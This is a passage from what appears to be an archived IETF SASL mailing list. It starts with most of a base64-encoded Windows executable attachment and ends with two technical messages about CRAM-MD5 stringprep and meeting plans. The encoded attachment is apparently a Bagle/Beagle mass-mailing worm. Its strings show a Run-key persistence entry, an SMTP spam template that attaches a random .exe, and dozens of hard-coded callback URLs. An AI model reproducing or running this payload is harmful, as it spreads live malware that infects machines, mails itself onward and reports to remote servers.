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 W17Jw2oAagDoJQYAAAvAdAHDaNAHAADoXAUAAOvmw1WL7IPElFNWaAAEAABqQOghBQAAiUX4 aM1WQAD/NQNQQAD/dQhoXlBAAP91+OhjBQAAg8QU6Kv///9qAGoAagBqAWjrV0AA6M0FAACJ RfxqAGgAAABAagBqAP91+FDovAUAAJML23QGU+ifBQAA/3X86JcFAAD/dfjovQQAAJNeW8nC BABX6KHo//8LwHUF6LPj//+/bVBAAPyL1zPAg8n/8q5S6Ff///+APwB17F/DVYvs6M3///9o wCcJAOiXBAAA6+8zwMnCBABVi+yDxPyNRfxQagBqAGjtLUAAagBqAOjpAwAAUOi/AwAAycNV i+yBxKD+//9WV1Nq//81HH9AAOhkBAAAxkX/AMaFrv7//wBqCI2Fr/7//1Doo+H///91DOgc 5v//agBqBWoB/3UM/3UI6Fnr//+FwA+EXAIAAP91DOjo5f//i1UMixJqAGoBjYWu/v//UP91 DP9SDP91DOjd5f//gL2u/v//AnQXgL2u/v//A3QOgL2u/v//BHQF6RYCAABqBWoAaMgAAAD/ dQz/dQjoYOv//4XAD4T6AQAA/3UM6Ibl//+LVQyLEmoAaMgAAACNhTf///9Q/3UM/1IM/3UM 6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v// hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+ ////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v// UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q 6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+ //9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1 oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/ //9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo//// dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+ Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA 6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA 5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4 AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0 AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3 Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0 dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6 Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4 ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------462482681382150-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J2cJib002030; Sun, 18 Jan 2004 18:38:19 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0J2cJsA002029; Sun, 18 Jan 2004 18:38:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (YahooBB219198240010.bbtec.net [219.198.240.10]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J2cGib002023 for ; Sun, 18 Jan 2004 18:38:18 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id B221F1515EB; Sun, 18 Jan 2004 21:37:49 -0500 (EST) To: Lyndon Nerenberg Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> From: Sam Hartman Date: Thu, 15 Jan 2004 22:53:20 -0500 In-Reply-To: <2147483647.1073925785@115.216-123-230-0.interbaun.com> (Lyndon Nerenberg's message of "Mon, 12 Jan 2004 16:43:05 -0700") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Lyndon" == Lyndon Nerenberg writes: Lyndon> --On 2004-1-12 5:38 PM -0500 Sam Hartman Lyndon> wrote: >> I'd like to hear from people who believe we should allow >> unassigned codepoints in cram-md5. Lyndon> Taking off my editor's visor, I personally think this Lyndon> whole issue is out of scope for the CRAM document, and Lyndon> needs to be addressed in the base SASL document, or not at Lyndon> all (i.e. let the stringprep document says what needs to Lyndon> be said, if anything). I'm currently sitting on a plane, and while I have my personal mail, I don't seem to have comments only addressed to the SASL list. Apologies if this is already addressed. I disagree and believe that the choice of encoding and normalization for the authentication identity is entirely a matter of choice for the mechanism document and is out of scope for normative comments from the base spec. The base spec can and does give advice on what best practice is with regard to these issues. For example the GSSAPI document cannot say to use UTF8 or any particular normalization; both these issues are matters for the GSSAPI mechanism document to decide. Some existing mechanisms do not currently support UTF8 but do support internationalized GSSAPI names. Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DJTZib060584; Tue, 13 Jan 2004 11:29:35 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0DJTZV1060583; Tue, 13 Jan 2004 11:29:35 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (STRATTON-FOUR-SIXTY-FOUR.MIT.EDU [18.187.6.209]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DJTUib060577 for ; Tue, 13 Jan 2004 11:29:30 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id 4726B151600; Tue, 13 Jan 2004 14:29:31 -0500 (EST) To: Alexey Melnikov Cc: ietf-sasl@imc.org Subject: Re: Things to discuss in Seoul References: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> <4003E29C.1060204@isode.com> From: Sam Hartman Date: Tue, 13 Jan 2004 14:29:31 -0500 In-Reply-To: <4003E29C.1060204@isode.com> (Alexey Melnikov's message of "Tue, 13 Jan 2004 12:20:44 +0000") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Alexey" == Alexey Melnikov writes: Alexey> Sam Hartman wrote: >> Who will be there in Seoul? >> Alexey> I should be there. >> I'm trying to get a good idea of what drafts we can focus on >> for that meeting. Presumably regardless of attendance we'll >> try and do as much as we can on the base spec, stringprep, >> plain and anonymous. >> Alexey> I was under impression that the last two are basically Alexey> done? >> We are trying to get those drafts to the IESG. >> >> But among the remaining documents it may be better to focus >> time based on who is available. >> >> >> Also, if you have specific issues that need meeting time, >> please /let us know. >> Alexey> I would like to have some discussions about DIGEST-MD5 (in Alexey> particular selecting a single way of fixing CBC mode Alexey> attack fix) and GSSAPI with people who are interested. 